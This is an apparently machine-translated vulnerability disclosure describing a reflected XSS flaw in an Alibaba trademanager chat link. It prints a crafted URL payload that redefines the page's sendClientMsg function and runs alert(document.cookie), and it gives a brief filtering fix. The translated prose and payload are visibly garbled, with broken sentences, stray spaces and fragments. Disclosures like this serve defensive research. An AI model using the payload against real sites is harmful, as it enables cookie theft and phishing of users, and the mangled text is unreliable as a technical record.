Startup page reflective XSS of an Alibaba trademanager Program

Source: Internet
Author: User

The page has parameters that are not filtered. xss is supported. Cookie is not good for httponly, but this link is trusted and widely used. It is highly risky to use it for phishing, Trojans, or other things. When browsing a site, see Ali trademanager Chat link (uid here is replaced with ***) http://amos1.taobao.com/msg.ww? Site = cntaobao & charset = UTF-8 & v = 2 & uid = *** & s = 1 else.jpg. view the source code and find the following two sentences: try to change uid to a character with quotation marks, and the page will not return content. The charset v s parameters of other parameters are url encoded. SendClientMsg ('','', 'cntaobao', '***', 1, '& charset = % 75% 74% 2D % 38 & v = % 32 & s = % 31'); setTimeout ('windowclose () ', 1 ); try to add the parameter & x = 123, and the function changes to: Construct the following parameter, and the js error is found, it feels like: site = cntaobao & charset = UTF-8 & v = 2 & uid = *** & s = 1 & 'HTTP: // amos1.taobao.com/msg.aw? Site = & v = & uid = 1 & s = & '); function % 20 sendClientMsg () {} alert (document. cookie); // execute: sendClientMsg ('', '1', 1, '& v = & s = &'); function sendClientMsg () {} alert (document. cookie); // = '); setTimeout ('windowclose ()', 1); redefines sendClientMsg to prevent the original logic execution; add // at the end and comment out the closed window later.Solution:

Only the required parameters are retained and filtered out.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.